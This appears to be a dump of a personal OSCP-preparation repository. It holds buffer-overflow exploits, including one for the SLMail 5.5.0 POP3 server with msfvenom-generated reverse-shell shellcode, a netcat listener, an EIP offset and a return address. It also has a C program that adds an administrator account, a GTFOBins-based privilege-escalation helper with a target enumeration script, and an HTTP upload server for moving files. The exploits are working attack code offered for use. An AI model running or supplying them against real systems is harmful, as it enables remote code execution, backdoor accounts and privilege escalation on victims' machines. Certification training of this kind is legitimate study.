-b "\x00\x0A\x0D" -e x86/shikata_ga_nai 18 | #bad char list \x00\x0A\x0D (cfr file 5) 19 | shellcode = ("\xdd\xc4\xbd\xaf\xc6\x0e\xd3\xd9\x74\x24\xf4\x58\x31\xc9\xb1" 20 | "\x52\x83\xe8\xfc\x31\x68\x13\x03\xc7\xd5\xec\x26\xeb\x32\x72" 21 | "\xc8\x13\xc3\x13\x40\xf6\xf2\x13\x36\x73\xa4\xa3\x3c\xd1\x49" 22 | "\x4f\x10\xc1\xda\x3d\xbd\xe6\x6b\x8b\x9b\xc9\x6c\xa0\xd8\x48" 23 | "\xef\xbb\x0c\xaa\xce\x73\x41\xab\x17\x69\xa8\xf9\xc0\xe5\x1f" 24 | "\xed\x65\xb3\xa3\x86\x36\x55\xa4\x7b\x8e\x54\x85\x2a\x84\x0e" 25 | "\x05\xcd\x49\x3b\x0c\xd5\x8e\x06\xc6\x6e\x64\xfc\xd9\xa6\xb4" 26 | "\xfd\x76\x87\x78\x0c\x86\xc0\xbf\xef\xfd\x38\xbc\x92\x05\xff" 27 | "\xbe\x48\x83\x1b\x18\x1a\x33\xc7\x98\xcf\xa2\x8c\x97\xa4\xa1" 28 | "\xca\xbb\x3b\x65\x61\xc7\xb0\x88\xa5\x41\x82\xae\x61\x09\x50" 29 | "\xce\x30\xf7\x37\xef\x22\x58\xe7\x55\x29\x75\xfc\xe7\x70\x12" 30 | "\x31\xca\x8a\xe2\x5d\x5d\xf9\xd0\xc2\xf5\x95\x58\x8a\xd3\x62" 31 | "\x9e\xa1\xa4\xfc\x61\x4a\xd5\xd5\xa5\x1e\x85\x4d\x0f\x1f\x4e" 32 | "\x8d\xb0\xca\xc1\xdd\x1e\xa5\xa1\x8d\xde\x15\x4a\xc7\xd0\x4a" 33 | "\x6a\xe8\x3a\xe3\x01\x13\xad\xcc\x7e\x6e\xac\xa5\x7c\x90\xab" 34 | "\x0c\x08\x76\xd9\x7e\x5c\x21\x76\xe6\xc5\xb9\xe7\xe7\xd3\xc4" 35 | "\x28\x63\xd0\x39\xe6\x84\x9d\x29\x9f\x64\xe8\x13\x36\x7a\xc6" 36 | "\x3b\xd4\xe9\x8d\xbb\x93\x11\x1a\xec\xf4\xe4\x53\x78\xe9\x5f" 37 | "\xca\x9e\xf0\x06\x35\x1a\x2f\xfb\xb8\xa3\xa2\x47\x9f\xb3\x7a" 38 | "\x47\x9b\xe7\xd2\x1e\x75\x51\x95\xc8\x37\x0b\x4f\xa6\x91\xdb" 39 | "\x16\x84\x21\x9d\x16\xc1\xd7\x41\xa6\xbc\xa1\x7e\x07\x29\x26" 40 | "\x07\x75\xc9\xc9\xd2\x3d\xf9\x83\x7e\x17\x92\x4d\xeb\x25\xff" 41 | "\x6d\xc6\x6a\x06\xee\xe2\x12\xfd\xee\x87\x17\xb9\xa8\x74\x6a" 42 | "\xd2\x5c\x7a\xd9\xd3\x74") 43 | 44 | buffer = "A"*offset_eip 45 | buffer += struct.pack("ლ)" 58 | 59 | except: 60 | print "Could not connect to POP3! ¯\_(ツ)_/¯" 61 | -------------------------------------------------------------------------------- /Exploits/SLmailExploit-Python.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #---------------------------------------------------------------------------------------------# 3 | # Software = SLMail 5.5.0 Server # 4 | # Download Link = http://downloads.informer.com/slmail/5.5/ # 5 | # Reference = https://www.exploit-db.com/exploits/638/ # 6 | # Date = 10/14/2018 # 7 | # Author = @TJ_Null # 8 | # Tested on = Windows 7 - Professional SP1 # 9 | # Windows XP - Professional SP3 # 10 | # Windows 8.1 - Enterprise # 11 | # EIP Offset = 2606 # 12 | # Badchars = "\x00\x0a\x0d" # 13 | # RET Address = 0x5f4a358f : "\xFF\xE4" | [SLMFC.DLL] # 14 | # Usage = python exploit.py # 15 | #---------------------------------------------------------------------------------------------# 16 | 17 | import sys 18 | import socket 19 | import time 20 | import struct 21 | import subprocess 22 | 23 | 24 | if len(sys.argv) < 2: 25 | print "Usage : python exploit.py " 26 | print "Example : python exploit.py 10.11.0.100" 27 | sys.exit(0) 28 | 29 | HOST = sys.argv[1] 30 | 31 | 32 | #----------------------------------------------------------------------------------------------------------------------------------------------------------------# 33 | # To replace shellcode use: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.117.132 LPORT=1337 -b "\x00\x0a\x0d" -f python -v payload -e x86/shikata_ga_nai # 34 | #----------------------------------------------------------------------------------------------------------------------------------------------------------------# 35 | 36 | payload = "" 37 | payload += "\xbf\xe4\x24\xa2\x95\xdb\xd5\xd9\x74\x24\xf4\x5d" 38 | payload += "\x31\xc9\xb1\x52\x83\xc5\x04\x31\x7d\x0e\x03\x99" 39 | payload += "\x2a\x40\x60\x9d\xdb\x06\x8b\x5d\x1c\x67\x05\xb8" 40 | payload += "\x2d\xa7\x71\xc9\x1e\x17\xf1\x9f\x92\xdc\x57\x0b" 41 | payload += "\x20\x90\x7f\x3c\x81\x1f\xa6\x73\x12\x33\x9a\x12" 42 | payload += "\x90\x4e\xcf\xf4\xa9\x80\x02\xf5\xee\xfd\xef\xa7" 43 | payload += "\xa7\x8a\x42\x57\xc3\xc7\x5e\xdc\x9f\xc6\xe6\x01" 44 | payload += "\x57\xe8\xc7\x94\xe3\xb3\xc7\x17\x27\xc8\x41\x0f" 45 | payload += "\x24\xf5\x18\xa4\x9e\x81\x9a\x6c\xef\x6a\x30\x51" 46 | payload += "\xdf\x98\x48\x96\xd8\x42\x3f\xee\x1a\xfe\x38\x35" 47 | payload += "\x60\x24\xcc\xad\xc2\xaf\x76\x09\xf2\x7c\xe0\xda" 48 | payload += "\xf8\xc9\x66\x84\x1c\xcf\xab\xbf\x19\x44\x4a\x6f" 49 | payload += "\xa8\x1e\x69\xab\xf0\xc5\x10\xea\x5c\xab\x2d\xec" 50 | payload += "\x3e\x14\x88\x67\xd2\x41\xa1\x2a\xbb\xa6\x88\xd4" 51 | payload += "\x3b\xa1\x9b\xa7\x09\x6e\x30\x2f\x22\xe7\x9e\xa8" 52 | payload += "\x45\xd2\x67\x26\xb8\xdd\x97\x6f\x7f\x89\xc7\x07" 53 | payload += "\x56\xb2\x83\xd7\x57\x67\x03\x87\xf7\xd8\xe4\x77" 54 | payload += "\xb8\x88\x8c\x9d\x37\xf6\xad\x9e\x9d\x9f\x44\x65" 55 | payload += "\x76\x60\x30\x10\x07\x08\x43\xda\x02\xf0\xca\x3c" 56 | payload += "\x66\x12\x9b\x97\x1f\x8b\x86\x63\x81\x54\x1d\x0e" 57 | payload += "\x81\xdf\x92\xef\x4c\x28\xde\xe3\x39\xd8\x95\x59" 58 | payload += "\xef\xe7\x03\xf5\x73\x75\xc8\x05\xfd\x66\x47\x52" 59 | payload += "\xaa\x59\x9e\x36\x46\xc3\x08\x24\x9b\x95\x73\xec" 60 | payload += "\x40\x66\x7d\xed\x05\xd2\x59\xfd\xd3\xdb\xe5\xa9" 61 | payload += "\x8b\x8d\xb3\x07\x6a\x64\x72\xf1\x24\xdb\xdc\x95" 62 | payload += "\xb1\x17\xdf\xe3\xbd\x7d\xa9\x0b\x0f\x28\xec\x34" 63 | payload += "\xa0\xbc\xf8\x4d\xdc\x5c\x06\x84\x64\x6c\x4d\x84" 64 | payload += "\xcd\xe5\x08\x5d\x4c\x68\xab\x88\x93\x95\x28\x38" 65 | payload += "\x6c\x62\x30\x49\x69\x2e\xf6\xa2\x03\x3f\x93\xc4" 66 | payload += "\xb0\x40\xb6" 67 | 68 | 69 | 70 | 71 | 72 | #----------------------------# 73 | # Buffer Structure # 74 | #----------------------------# 75 | # buffer = AAA...........AAA # 76 | # buffer = EIP # 77 | # buffer = NOPSled # 78 | # buffer = payload # 79 | # buffer = BBB...........BBB # 80 | #----------------------------# 81 | 82 | 83 | buffer = "A" * 2606 84 | buffer += struct.pack('" 101 | subprocess.call(['nc -lnvp 1337'], shell=True) 102 | except: 103 | print "Could not connect to SLMail 5.5.0 Server (-__-)" 104 | 105 | -------------------------------------------------------------------------------- /Exploits/useradd.c: -------------------------------------------------------------------------------- 1 | #include /* system, NULL, EXIT_FAILURE */ 2 | 3 | int main () 4 | { 5 | int i; 6 | i=system ("net user ihack4falafel /add && net localgroup administrators TJnull /add"); 7 | return 0; 8 | } -------------------------------------------------------------------------------- /Priv-esc/Linux/README.md: -------------------------------------------------------------------------------- 1 | # GTFOPlus 2 | 3 | GTFOPlus is a helper script that relies on the GTFOBins repo to identify standard Linux binaries that could assist with privilege escalation. 4 | 5 | Deploy a gtfo.sh script to enumerate these binaries on your target machine. 6 | 7 | Example Usage: 8 | 9 | python3 gtfo.py -b awk -l shell | Spawning a shell with awk 10 | python3 gtfo.py -b awk -l all | Show all GTFO capabilities of awk 11 | python3 gtfo.py -b awk -l all --verbose | Increase verbosity + ascii art 12 | 13 | Using the gtfo.sh agent script: 14 | 15 | ./gtfo.sh > gtf.out | Run this on target machine. 16 | python3 gtfo.py -f gtf.out -l all | Show all capabilities for all 17 | | binaries gathered from gtfo.sh 18 | ## Setup 19 | 20 | In the same directory as that you cloned this repo, clone the GTFOBins Repo. 21 | 22 | git clone https://github.com/GTFOBins/GTFOBins.github.io.git 23 | python3 -m pip install -r requirements.txt 24 | 25 | ## Requirements 26 | 27 | python3 28 | pyyaml 29 | 30 | TODO: 31 | 32 | * Make gtf.out parser better. (Add parser for groups, perms, ownership etc.) 33 | * Pull GTFO bin capabilities from the repo as well. 34 | -------------------------------------------------------------------------------- /Priv-esc/Linux/gtfo.py: -------------------------------------------------------------------------------- 1 | import argparse, os, sys, textwrap, yaml 2 | splash = """ 3 | ▄▄▄▄▄▄▄ ▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄ ▄ ▄▄▄▄ ▄ ▄▄▄▄▄▄▄ 4 | ▄ ▄▄ ░ ▀▀ ██▄▄▄▄ ▄▄ ░ ▄▄ ██ ▄▄ ██ ██ ▄▄ ██ ▄▄ ░ ▀▀ ▄ 5 | ▀▀▀█ ██ ▀▀██ ██ ▒ ▄▄ ██▀▀ ██ ▒ ██ ██ ▀▀▀ ██ ▒ ██ ██ ▒ ██ ▀▀▀▀▀██ █▀▀▀ 6 | ██▄▄▄█ ▄██▄▄▄██ ██ ░ ▀█▄▄▄█▀ ██ ░ ▄▄▄▄▄██ ▀█▄▄▄█▀ ██▄▄▄█▀ v0.1 7 | """ 8 | parser = argparse.ArgumentParser(description='GTFO+') 9 | parser.add_argument('-b', dest='bin',help='GTFO Bin') 10 | parser.add_argument('-l', dest='list',help='Capabilities to List') 11 | parser.add_argument('-f', dest='file',help='Read bins from file') 12 | parser.add_argument("--quiet", dest='quiet',help="Decreate Output Verbosity",action="store_true") 13 | parser.add_argument("--verbose", dest='verbose',help="increase output verbosity",action="store_true") 14 | args = parser.parse_args() 15 | binName = args.bin 16 | listWhat = args.list 17 | infile = args.file 18 | quietout = args.quiet 19 | verbose = args.verbose 20 | 21 | usage = """ 22 | gtfo.py is a helper for identifying standard Linux binaries that could assist 23 | with privilege escalation. 24 | Deploy a gtfo.sh script to enumerate these binaries on your target machine. 25 | 26 | Example Usage: 27 | 28 | python3 gtfo.py -b awk -l shell | Spawning a shell with awk 29 | python3 gtfo.py -b awk -l all | Show all GTFO capabilities of awk 30 | python3 gtfo.py -b awk -l all --verbose | Increase verbosity + ascii art 31 | python3 gtfo.py -f gtf.out -l all | Show all capabilities for all 32 | | binaries gathered from gtfo.sh 33 | """ 34 | 35 | gtfoPath = 'GTFOBins.github.io/_gtfobins/' 36 | 37 | listCommands = [ "all","bind-shell","capabilities","command","file-download","file-read","file-upload","file-write","library-load","limited-suid","non-interactive-bind-shell","non-interactive-reverse-shell","reverse-shell","shell","sudo","suid" ] 38 | 39 | def loadBin(binFile): 40 | with open(binFile,'r') as stream: 41 | try: 42 | cleaned = stream.readlines() 43 | cleaned = cleaned[:-1] 44 | cleaned = ''.join(cleaned) 45 | data = yaml.load(cleaned) 46 | except yaml.YAMLError as exc: 47 | print(exc) 48 | return data 49 | 50 | gtfoInfo = { 51 | "bind-shell": { 52 | "name": "Bind shell", 53 | "desc": "It can bind a shell to a local port to allow remote network access." 54 | }, 55 | "capabilities": { 56 | "name": "Capabilities", 57 | "desc": "It can manipulate its process UID and can be used on Linux as a backdoor to maintain elevated privileges with the CAP_SETUID capability set. This also works when executed by another binary with the capability set." 58 | }, 59 | "command": { 60 | "name": "Command", 61 | "desc": "It can be used to break out from restricted environments by running non-interactive system commands." 62 | }, 63 | "file-download": { 64 | "name": "File download", 65 | "desc": "It can download remote files." 66 | }, 67 | "file-read": { 68 | "name":"File read", 69 | "desc":"It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system." 70 | }, 71 | "file-upload": { 72 | "name": "File upload", 73 | "desc": "It can exfiltrate files on the network." 74 | }, 75 | "file-write": { 76 | "name": "File write", 77 | "desc": "It writes data to files, it may be used to do privileged writes or write files outside a restricted file system." 78 | }, 79 | "library-load": { 80 | "name": "Library load", 81 | "desc": "It loads shared libraries that may be used to run code in the binary execution context." 82 | }, 83 | "limited-suid": { 84 | "name": "Limited SUID", 85 | "desc": "It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian that allow the default sh shell to run with SUID privileges." 86 | }, 87 | "non-interactive-bind-shell": { 88 | "name": "Non-interactive bind shell", 89 | "desc": "It can bind a non-interactive shell to a local port to allow remote network access." 90 | }, 91 | "non-interactive-reverse-shell": { 92 | "name": "Non-interactive reverse shell", 93 | "desc": "It can send back a non-interactive reverse shell to a listening attacker to open a remote network access." 94 | }, 95 | "reverse-shell": { 96 | "name": "Reverse shell", 97 | "desc": "It can send back a reverse shell to a listening attacker to open a remote network access." 98 | }, 99 | "shell": { 100 | "name": "Shell", 101 | "desc": "It can be used to break out from restricted environments by spawning an interactive system shell." 102 | }, 103 | "sudo": { 104 | "name": "Sudo", 105 | "desc": "It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo." 106 | }, 107 | "suid": { 108 | "name": "SUID", 109 | "desc": "It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges." 110 | } 111 | } 112 | 113 | print(splash) 114 | 115 | def getBinInfo(qBin): 116 | binTitle = "───[ {} ]".format(binName) 117 | titleFill = "─"*(80-(len(binName)+7)) 118 | print(binTitle+titleFill) 119 | try: 120 | print(" "+"\n".join(textwrap.wrap(qBin["description"], 75))) 121 | except KeyError: 122 | print(" ") 123 | binProp = qBin["functions"] 124 | if listWhat == "all": 125 | for gbin in binProp: 126 | gtfoDesc = gtfoInfo[gbin]["desc"] # from local 127 | binCMD = binProp[gbin][0]["code"].split("\n") # from file 128 | print("┌─ {}".format(gbin)) 129 | print("│ "+"\n│ ".join(textwrap.wrap(gtfoDesc, 75))) 130 | print("└─ Usage:\n") 131 | for cmd in binCMD: 132 | if cmd == "": 133 | pass 134 | else: 135 | print(" {}".format(cmd)) 136 | print(" ") 137 | else: 138 | gbin = listWhat 139 | try: 140 | gtfoDesc = gtfoInfo[gbin]["desc"] #from local 141 | binCMD = binProp[gbin][0]["code"].split("\n") # from file 142 | print("┌─ {}".format(gbin)) # was gtfoName 143 | print("│ "+"\n│ ".join(textwrap.wrap(gtfoDesc, 75))) 144 | print("└─ Usage:\n") 145 | for cmd in binCMD: 146 | if cmd == "": 147 | pass 148 | else: 149 | print(" {}".format(cmd)) 150 | print(" ") 151 | except: 152 | pass 153 | 154 | def quietBinInfo(qBin): 155 | padding = " "*(round((80-len(binName)))) # To right align bin names 156 | print("{}{}".format(padding,binName)) # that makes it easier to 157 | print("{}{}".format(padding,'-'*len(binName))) # read :) 158 | binProp = qBin["functions"] 159 | if listWhat == "all": 160 | for gbin in binProp: 161 | binCMD = binProp[gbin][0]["code"].split("\n") 162 | print("[{}]".format(gbin)) 163 | for cmd in binCMD: 164 | if cmd == "": 165 | pass 166 | else: 167 | print(" {}".format(cmd)) 168 | print(" ") 169 | else: 170 | gbin = listWhat 171 | try: 172 | binCMD = binProp[gbin][0]["code"].split("\n") 173 | print("[{}]".format(gbin)) 174 | for cmd in binCMD: 175 | if cmd == "": 176 | pass 177 | else: 178 | print(" {}".format(cmd)) 179 | print(" ") 180 | except: 181 | pass 182 | 183 | def getAvailableBins(): 184 | filez = os.listdir(gtfoPath) 185 | availableBins = [] 186 | for f in filez: 187 | if f[0] == ".": 188 | pass 189 | else: 190 | bb = f.split(".md")[0] 191 | availableBins.append(bb) 192 | return availableBins 193 | 194 | def parseInfile(inputFile): 195 | with open(inputFile) as f: 196 | binz = [] 197 | binListing = f.readlines() 198 | for b in binListing: # clean this ish up 199 | b = b.split(" ") 200 | p = b[-1:] # Skipping over groups for now 201 | p = p[0].split("\n")[0] 202 | p = p.split("/")[-1:] 203 | binz.append(p[0]) 204 | return binz 205 | 206 | def showCapabilities(): 207 | for i in range(0,len(listCommands)): 208 | print(" " + listCommands[i]) 209 | 210 | # Main functionality 211 | try: 212 | # IF we are processing a gtfo.sh agent output 213 | if infile: 214 | binz = parseInfile(infile) # Should create an object of the bins in the file output 215 | binsAvailable = getAvailableBins() 216 | print("[!] Listing {} GTFO capabilities for {}\n".format(listWhat,infile)) 217 | for b in binz: 218 | if b in binsAvailable: 219 | binArg = b 220 | binName = b 221 | binSelect = gtfoPath+binArg+".md" 222 | binInfo = loadBin(binSelect) 223 | if verbose: 224 | getBinInfo(binInfo) 225 | else: 226 | quietBinInfo(binInfo) 227 | # Otherwise we are processing a single binary 228 | else: 229 | if listWhat not in listCommands: 230 | exit() 231 | binArg = binName 232 | binSelect = gtfoPath+binArg+".md" 233 | binInfo = loadBin(binSelect) 234 | print("[!] Listing {} GTFO capabilities for {}\n".format(listWhat,binArg)) 235 | if verbose: 236 | getBinInfo(binInfo) 237 | else: 238 | quietBinInfo(binInfo) 239 | except: 240 | print(usage) 241 | binsAvailable = getAvailableBins() 242 | print("[Available Binaries] Specify with the -b flag") 243 | for b in binsAvailable: 244 | if b == binsAvailable[-1]: 245 | print(b) 246 | else: 247 | print(b,end=', ') 248 | print("\n[Available Capabilities] Specify with the -l flag") 249 | showCapabilities() -------------------------------------------------------------------------------- /Priv-esc/Linux/gtfo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | groups 3 | bins=("apt-get" "apt" "aria2c" "ash" "awk" "base64" "bash" "busybox" "cat" "chmod" "chown" "cp" "cpulimit" "crontab" "csh" "curl" "cut" "dash" "date" "dd" "diff" "docker" "easy_install" "ed" "emacs" "env" "expand" "expect" "facter" "find" "finger" "flock" "fmt" "fold" "ftp" "gdb" "git" "grep" "head" "ionice" "jjs" "journalctl" "jq" "jrunscript" "ksh" "ld.so" "less" "ltrace" "lua" "mail" "make" "man" "more" "mount" "mv" "mysql" "nano" "nc" "nice" "nl" "nmap" "node" "od" "perl" "pg" "php" "pico" "pip" "puppet" "python" "red" "rlwrap" "rpm" "rpmquery" "rsync" "ruby" "scp" "sed" "setarch" "sftp" "shuf" "smbclient" "socat" "sort" "sqlite3" "ssh" "stdbuf" "strace" "tail" "tar" "taskset" "tclsh" "tcpdump" "tee" "telnet" "tftp" "time" "timeout" "ul" "unexpand" "uniq" "unshare" "vi" "vim" "watch" "wget" "whois" "wish" "xargs" "xxd" "zip" "zsh") 4 | for i in "${bins[@]}" 5 | do 6 | if which $i > /dev/null; then 7 | ls -lah $(which $i) 8 | fi 9 | done 10 | -------------------------------------------------------------------------------- /Priv-esc/Linux/requirements.txt: -------------------------------------------------------------------------------- 1 | pyyaml 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OSCP-Stuff 2 | List of Stuff I did to get through the OSCP :D 3 | -------------------------------------------------------------------------------- /Transferring-Files/HTTPServerWithUpload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """Simple HTTP Server With Upload Capabilities. 4 | 5 | Arguments: 6 | python3 HTTPServerWithUpload.py -p 80 7 | python3 HTTPServerWithUpload.py --port 80 8 | 9 | """ 10 | 11 | __version__ = "1.0" 12 | __all__ = ["SimpleHTTPRequestHandler"] 13 | __author__ = "TJ Null" 14 | # Credits to bones7456 for writing the orginal script: https://github.com/bones7456/bones7456/blob/master/SimpleHTTPServerWithUpload.py 15 | 16 | # References: 17 | # https://docs.python.org/3/library/http.server.html 18 | # https://github.com/python/cpython/blob/3.9/Lib/http/server.py#L1233 19 | 20 | 21 | import os 22 | import posixpath 23 | import http.server 24 | import urllib.request, urllib.parse, urllib.error 25 | import html 26 | import shutil 27 | import mimetypes 28 | import re 29 | import argparse 30 | from io import BytesIO 31 | 32 | 33 | class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler): 34 | 35 | """Simple HTTP request handler with GET/HEAD/POST commands. 36 | 37 | This serves files from the current directory and any of its 38 | subdirectories. The MIME type for files is determined by 39 | calling the .guess_type() method. And can reveive file uploaded 40 | by client. 41 | 42 | The GET/HEAD/POST requests are identical except that the HEAD 43 | request omits the actual contents of the file. 44 | 45 | """ 46 | 47 | server_version = "SimpleHTTPWithUpload/" + __version__ 48 | 49 | def do_GET(self): 50 | """Serve a GET request.""" 51 | f = self.send_head() 52 | if f: 53 | self.copyfile(f, self.wfile) 54 | f.close() 55 | 56 | def do_HEAD(self): 57 | """Serve a HEAD request.""" 58 | f = self.send_head() 59 | if f: 60 | f.close() 61 | 62 | def do_POST(self): 63 | """Serve a POST request.""" 64 | r, info = self.deal_post_data() 65 | print((r, info, "by: ", self.client_address)) 66 | f = BytesIO() 67 | f.write(b'') 68 | f.write(b"\nUpload Result Page\n") 69 | f.write(b"\n

Upload Result Page

\n") 70 | f.write(b"
\n") 71 | if r: 72 | f.write(b"Success:") 73 | else: 74 | f.write(b"Failed:") 75 | f.write(info.encode()) 76 | f.write(("
back" % self.headers['referer']).encode()) 77 | length = f.tell() 78 | f.seek(0) 79 | self.send_response(200) 80 | self.send_header("Content-type", "text/html") 81 | self.send_header("Content-Length", str(length)) 82 | self.end_headers() 83 | if f: 84 | self.copyfile(f, self.wfile) 85 | f.close() 86 | 87 | def deal_post_data(self): 88 | content_type = self.headers['content-type'] 89 | if not content_type: 90 | return (False, "Content-Type header doesn't contain boundary") 91 | boundary = content_type.split("=")[1].encode() 92 | remainbytes = int(self.headers['content-length']) 93 | line = self.rfile.readline() 94 | remainbytes -= len(line) 95 | if not boundary in line: 96 | return (False, "Content NOT begin with boundary") 97 | line = self.rfile.readline() 98 | remainbytes -= len(line) 99 | fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line.decode()) 100 | if not fn: 101 | return (False, "Can't find out file name...") 102 | path = self.translate_path(self.path) 103 | fn = os.path.join(path, fn[0]) 104 | line = self.rfile.readline() 105 | remainbytes -= len(line) 106 | line = self.rfile.readline() 107 | remainbytes -= len(line) 108 | try: 109 | out = open(fn, 'wb') 110 | except IOError: 111 | return (False, "Can't create file to write, do you have permission to write?") 112 | 113 | preline = self.rfile.readline() 114 | remainbytes -= len(preline) 115 | while remainbytes > 0: 116 | line = self.rfile.readline() 117 | remainbytes -= len(line) 118 | if boundary in line: 119 | preline = preline[0:-1] 120 | if preline.endswith(b'\r'): 121 | preline = preline[0:-1] 122 | out.write(preline) 123 | out.close() 124 | return (True, "File '%s' upload success!" % fn) 125 | else: 126 | out.write(preline) 127 | preline = line 128 | return (False, "Unexpect Ends of data.") 129 | 130 | def send_head(self): 131 | """Common code for GET and HEAD commands. 132 | 133 | This sends the response code and MIME headers. 134 | 135 | Return value is either a file object (which has to be copied 136 | to the outputfile by the caller unless the command was HEAD, 137 | and must be closed by the caller under all circumstances), or 138 | None, in which case the caller has nothing further to do. 139 | 140 | """ 141 | path = self.translate_path(self.path) 142 | f = None 143 | if os.path.isdir(path): 144 | if not self.path.endswith('/'): 145 | # redirect browser - doing basically what apache does 146 | self.send_response(301) 147 | self.send_header("Location", self.path + "/") 148 | self.end_headers() 149 | return None 150 | for index in "index.html", "index.htm": 151 | index = os.path.join(path, index) 152 | if os.path.exists(index): 153 | path = index 154 | break 155 | else: 156 | return self.list_directory(path) 157 | ctype = self.guess_type(path) 158 | try: 159 | # Always read in binary mode. Opening files in text mode may cause 160 | # newline translations, making the actual size of the content 161 | # transmitted *less* than the content-length! 162 | f = open(path, 'rb') 163 | except IOError: 164 | self.send_error(404, "File not found") 165 | return None 166 | self.send_response(200) 167 | self.send_header("Content-type", ctype) 168 | fs = os.fstat(f.fileno()) 169 | self.send_header("Content-Length", str(fs[6])) 170 | self.send_header("Last-Modified", self.date_time_string(fs.st_mtime)) 171 | self.end_headers() 172 | return f 173 | 174 | def list_directory(self, path): 175 | """Helper to produce a directory listing (absent index.html). 176 | 177 | Return value is either a file object, or None (indicating an 178 | error). In either case, the headers are sent, making the 179 | interface the same as for send_head(). 180 | 181 | """ 182 | try: 183 | list = os.listdir(path) 184 | except os.error: 185 | self.send_error(404, "No permission to list directory") 186 | return None 187 | list.sort(key=lambda a: a.lower()) 188 | f = BytesIO() 189 | displaypath = html.escape(urllib.parse.unquote(self.path)) 190 | f.write(b'') 191 | f.write(("\nDirectory listing for %s\n" % displaypath).encode()) 192 | f.write(("\n

Directory listing for %s

\n" % displaypath).encode()) 193 | f.write(b"
\n") 194 | f.write(b"
") 195 | f.write(b"") 196 | f.write(b"
\n") 197 | f.write(b"
\n
    \n") 198 | for name in list: 199 | fullname = os.path.join(path, name) 200 | displayname = linkname = name 201 | # Append / for directories or @ for symbolic links 202 | if os.path.isdir(fullname): 203 | displayname = name + "/" 204 | linkname = name + "/" 205 | if os.path.islink(fullname): 206 | displayname = name + "@" 207 | # Note: a link to a directory displays with @ and links with / 208 | f.write(('
  • %s\n' 209 | % (urllib.parse.quote(linkname), html.escape(displayname))).encode()) 210 | f.write(b"
\n
\n\n\n") 211 | length = f.tell() 212 | f.seek(0) 213 | self.send_response(200) 214 | self.send_header("Content-type", "text/html") 215 | self.send_header("Content-Length", str(length)) 216 | self.end_headers() 217 | return f 218 | 219 | def translate_path(self, path): 220 | """Translate a /-separated PATH to the local filename syntax. 221 | 222 | Components that mean special things to the local file system 223 | (e.g. drive or directory names) are ignored. (XXX They should 224 | probably be diagnosed.) 225 | 226 | """ 227 | # abandon query parameters 228 | path = path.split('?',1)[0] 229 | path = path.split('#',1)[0] 230 | path = posixpath.normpath(urllib.parse.unquote(path)) 231 | words = path.split('/') 232 | words = [_f for _f in words if _f] 233 | path = os.getcwd() 234 | for word in words: 235 | drive, word = os.path.splitdrive(word) 236 | head, word = os.path.split(word) 237 | if word in (os.curdir, os.pardir): continue 238 | path = os.path.join(path, word) 239 | return path 240 | 241 | def copyfile(self, source, outputfile): 242 | """Copy all data between two file objects. 243 | 244 | The SOURCE argument is a file object open for reading 245 | (or anything with a read() method) and the DESTINATION 246 | argument is a file object open for writing (or 247 | anything with a write() method). 248 | 249 | The only reason for overriding this would be to change 250 | the block size or perhaps to replace newlines by CRLF 251 | -- note however that this the default server uses this 252 | to copy binary data as well. 253 | 254 | """ 255 | shutil.copyfileobj(source, outputfile) 256 | 257 | def guess_type(self, path): 258 | """Guess the type of a file. 259 | 260 | Argument is a PATH (a filename). 261 | 262 | Return value is a string of the form type/subtype, 263 | usable for a MIME Content-type header. 264 | 265 | The default implementation looks the file's extension 266 | up in the table self.extensions_map, using application/octet-stream 267 | as a default; however it would be permissible (if 268 | slow) to look inside the data to make a better guess. 269 | 270 | """ 271 | 272 | base, ext = posixpath.splitext(path) 273 | if ext in self.extensions_map: 274 | return self.extensions_map[ext] 275 | ext = ext.lower() 276 | if ext in self.extensions_map: 277 | return self.extensions_map[ext] 278 | else: 279 | return self.extensions_map[''] 280 | 281 | if not mimetypes.inited: 282 | mimetypes.init() # try to read system mime.types 283 | extensions_map = mimetypes.types_map.copy() 284 | extensions_map.update({ 285 | '': 'application/octet-stream', # Default 286 | '.py': 'text/plain', 287 | '.c': 'text/plain', 288 | '.h': 'text/plain', 289 | }) 290 | 291 | 292 | def test(HandlerClass = SimpleHTTPRequestHandler, 293 | ServerClass = http.server.HTTPServer, port: int = 8000): 294 | http.server.test(HandlerClass, ServerClass, port=port) 295 | 296 | if __name__ == '__main__': 297 | parser = argparse.ArgumentParser() 298 | parser.add_argument("-p", "--port", type=int, default=8000) 299 | args = parser.parse_args() 300 | test(port=args.port) 301 | --------------------------------------------------------------------------------